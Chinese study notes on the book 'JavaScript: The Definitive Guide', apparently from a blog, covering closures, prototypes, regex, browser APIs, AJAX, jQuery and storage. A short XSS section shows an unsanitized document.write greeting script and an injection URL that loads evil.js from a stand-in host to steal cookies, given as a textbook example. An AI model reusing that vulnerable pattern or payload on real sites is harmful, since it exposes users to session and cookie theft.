Javascript 权威指南笔记

1. javascript中有对象概念  包含属性和属性值

2. 对象+函数=方法 a.reverse() a对象调用逆排序方法 

3. 区分大小写 html 不区分 不要搞混

4. 语句后最好加分号

5. 自动内存垃圾回收 当没有引用指向对象时被回收

6. 转义符 \

7. 局部变量必须用var

8. 全局变量和局部变量重名,全局变量被覆盖

9. 函数里声明的所有变量都被提前至函数体顶部

10. 将所有变量看作是一个对象的属性 这些对象(虚拟的)形成一个作用域链 查找对象时从第一个对象开始查找

11. == ===表示相等和严格相等

12. in 运算符表示判断一个对象中是否包含某属性

13. instanceof 判断谁是谁的实例

14. for/in循环用来更方便的遍历对象的属性

15. 语句可以定义标签 mainloop:while() 通过标签调用while循环

<---------------------------------函数---------------------------------------->

1. 闭包:在JS中有作用域和执行环境的问题,在函数内部的变量在函数外部是无法访问的, 全局变量可以在函数内部访问创建闭包可以解决  闭包可以将变量一直保存在内存中

2. 闭包原理: f1中n对外部不可见  f2中n=f1中n 所以return f2就可在外部对n可见

function f1(){

var n=999;

function f2(){

alert(n); 

}

return f2;

}

var result=f1();

result(); // 999

3.不能在外部直接调用内部函数

4.如果内部函数引用了位于外部函数的变量 当外部函数被调用完成后 这个变量也不会被释放 因为闭包需要它

<-------------------------------------类&原型-------------------------------->

1. 每个对象都从原型对象那里继承属性

2. 定义构造函数类名首字母大写 普通函数首字小写

3. 构造函数必须通过new 来创建

4. 对象从其原型继承属性,可以通过给原型对象添加新的方法来扩充类--类的动态可继承性

5. 鸭式辨型:通过对象的行为判断一个对象的类是什么

6. JavaScript里所有的东西都是对象. 对象是属性的集合. 数字, 字符串, 布尔值等原始值是"伪对象", 它们同样拥有属性, 但是是在栈上分配并按值传递. 而其他的对象是堆上分配并按引用传递.

7. 每个对象都有constructor属性表示创建该对象的构造函数

8. 构造函数也是对象, 那构造函数是由什么创建? 内建的Function函数

9. Function是本机代码实现的固有对象. 为了一致性, Function也有constructor属性, 该属性指向它自己

10. prototype是构造函数的一个属性, 该属性指向一个对象. 而这个对象将作为该构造函数所创建的所有实例的基引用(base reference)

11. 模块化:http://www.ruanyifeng.com/blog/2012/10/javascript_module.html

<-------------------------------------------正则表达式----------------------------------------------->

1. 如果不记着哪些符号需要转义 可以在符号前加\预防

2. /[abc]/ 和字母a, b, c中任何一个都匹配

3. ^表示否定匹配 /[^abc]/ 匹配任何不包含a,b,c的字符

4. /[a-z]/匹配所有小写字母  /[a-zA-Z0-9]/匹配所有字母和数字

5. 锚字符:^匹配开头 $匹配结尾 (?=p)零宽正向先行断言 要求接下来的字符都和p匹配 (?!p)零宽负向先行断言要求接下来的字符都不和p匹配

6. 修饰符:i 不区分大小写 g 全局模式匹配 找到所有匹配 m 多行匹配   修饰符在/ /后面

7. js中使用正则表达式:search() match() replace() split()

< ------------------------------------------子集和扩展---------------------------------------------->

1. 解构赋值:let [x,y] = [1,2] 等价于 x=1, y=2 两侧结果不用一一对应 多余出来的变量被赋值为undefine

<-------------------------------------------服务器端JS--------------------------------------------->

<------------------------------------------Web浏览器中得JS-------------------------------------->

1. window对象是所有客户端JS特性的主要接入点, document属性是window对象最重要的属性 该属性有重要的方法 如 getElementById()

2. HTML中嵌入JS 四种方法:内嵌<script></script>   <sctipt>标签src属性制定的外部文件中 放在HTML事件处理中如onClick  放在URL中

3.  URL中JS <a href="JS代码"></a> 部分浏览器回执行URL中JS 如FF

4. JS在浏览器中得执行过程

5. JS是单线程的 浏览器在处理脚本时停止用户响应

6. 为了解决JS单线程缺陷可以使用setTimeout() setInterval() 方法在后台运行子任务

7. HTML的 Web Worker 用来执行计算密集任务而不冻结用户界面

8. 功能测试是解决浏览器兼容问题的强大技术:如果想用某种功能但不知道是否在所有浏览器中都有比较好的兼容性就使用功能测试

9. 为处理兼容性问题可以加入IE 兼容性注释

10. 安全性:一些浏览器禁用JS功能:JS打开新的浏览器窗口  关闭自己代开的浏览器窗口 FileUpload 元素 value属性为只读 否则可以将其变为期望上传的文件名(如密码文件) 不能从不同服务器载入文档内容 不能在来自不同服务器的文档上注册监听事件

11. 同源策略:脚本只能读取和所属文档来源相同的窗口和文档属性

12. 跨站脚本 XSS:攻击者向目标站点注入HTML标签或恶意脚本 如

        <script>

       var name = decodeURICompoent(window.location.search.substring(1)) ||"";

       document.write("hello"+name);

       <script>

       可以注入:http://siteA/greet.html?name=%3Cscript src=siteB /evil.js%3E%3C/script%3E

      其中恶意evil.js来自站点B 将其嵌入到站点A中(例如可以读取站点A的cookie发送到B)

 <------------------------------------------window对象--------------------------------->

1. 使用navigator.userAgent可以进行浏览器诱探

2. navigate.onLine属性可以检测浏览器是否在线

3. Geolocation确定用户地理信息位置

4. cookieEnable检测浏览器是否可以永久保存cookie

5. appVersion检测浏览器厂商和版本信息

6. platform检测浏览器运行所在系统

<--------------------------------------脚本化文档---------------------------------------->

1. 查询文档一个或多个元素的方法:指定的id属性 指定的name属性 指定的标签名 指定的CSS类 匹配指定的CSS选择器

2. 没有任何从元素中删除属性的方法 有替代方法操作非HTML标准元素

3. 字符串" "是假值 与undefine不同

<--------------------------------------脚本化CSS----------------------------------------->

1. 文档通过link引入CSS

2. js与CSS结合生成脚本化CSS实现视觉效果成为动态HTML即DHTML 

3. CSS层叠指文档样式来源于:浏览器默认样式表 文档样式表 每个独立的HTML元素styLe属性  从右向左覆盖关系 形成最终样式

4. 一些浏览器厂商实现了非标准CSS属性

5. CSS属性名中包含连字符 在JS中应该改为驼峰写法

6. ‌CSS内联样式

7. 元素的style属性代表了元素的内联样式 它覆盖了元素的所有样式属性

8. 计算样式是浏览器最终显示的样式 只读 用getComputedStyle()获取

<—--------------------------------—------事件处理------------------------------------------->

1. JS采用异步事件驱动编程模型

<-----------------------------------------脚本化HTTP------------------------------------------>

1. AJAX应用的主要特点是用脚本操作HTTP和WEB服务进行数据交换 而不会使页面重载

2. Comet框架同AJAX作用相仿 AJAX中客户端从服务端拉数据  Comet是服务器端向客户端推数据

3. 有多种方式实现AJAX:

○ <img>有src属性 浏览器在加载<img>时会向服务器端发送其src中内容服务器端相应后会把图片发总给浏览器客户端  

○ <iframe>也有src属性 比<img>更强大

○ <script>也有src属性 可以设置URL并发送GET( 浅谈HTTP中Get与Post的区别)请求 不受同源策略限制  服务器端响应采用JSON编码  所以这种AJAX传输协议叫做JSONP

○ <script>实现AJAX: 不受同源策略影响 服务器返回的JSON 会在<script>中自动执行

○ XMLHttpRequest 对象 所有浏览器都支持 GET POST请求都可以 可以用Document对象返回给浏览器 可以返回任何类型文档

○ XMLHttpRequest 也支持同步相应

○ XMLHttpRequest 同源性:文档是哪个服务器的 就相应哪个服务器的HTTP请求

○ XMLHttpRequest2 在HTTP相应中发送合适的CORS(Cross-Origin Resoure Sharing)跨域资源共享 允许跨域访问网站

   4. 基于服务器端推送事件的Comet技术:Comet:基于 HTTP 长连接的“服务器推”技术

<------------------------------JQuery类库--------------------------------------->

1. JQuery 目的:JS API太简单  各浏览器要自己写API 导致浏览器之间不兼容

2. JQuery 特性:

• 丰富强大的语法

• 高效的查询方法

• 一套有用的方法操作选中的元素

• 强大的函数式的编程技巧 批量操作元素集

• 简洁的语法调用(链式调用),用来表示一系列操作

3. JQuery类库全局函数:JQuery() 用$代替

4. $() 参数有四种:CSS选择器  Element/Window/Document对象 HTML文本 函数(onload()的      JQuery版本)

5. JQuery中实现AJAX: 

•  load()方法:参数为URL 异步加载URL中内容到选择的元素中 通常用GET 当参数为数据对象时用 POST

<------------------------------------客户端存储---------------------------------->

1. 浏览器提供API将数据存储在客户端用户电脑上

2. 客户端存储形式:

○ Web存储 主要用localStorage对象和sessionStorage对象 这种方式易于使用

○ cookie 早期客户端存储机制

○ IE User Data

○ 离线Web应用 HTML5中定义了离线Web应用API 将Web应用整体存储在客户端

○ Web数据库 主流浏览器内置了SQL数据库客户端API

○ 文件系统API

3.   文档源是通过协议、主机名、及端口三者来确定的

4.   window对象两个属性:localStorage sessionStorage 两个属性代表同一个Storage 设置属性值即可存储

5.   localStorage存储时永久性的 作用域限定在文档元级别

6.  JS中cookie用于保存状态及能够为web浏览器提供身份识别的机制 不采用加密 不安全(HTTPS中cookie加密)

7.  离线WEB应用:将自己安装在应用程序缓存中的应用

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,504评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,434评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,089评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,378评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,472评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,506评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,519评论 3 413
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,292评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,738评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,022评论 2 329
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,194评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,873评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,536评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,162评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,413评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,075评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,080评论 2 352

推荐阅读更多精彩内容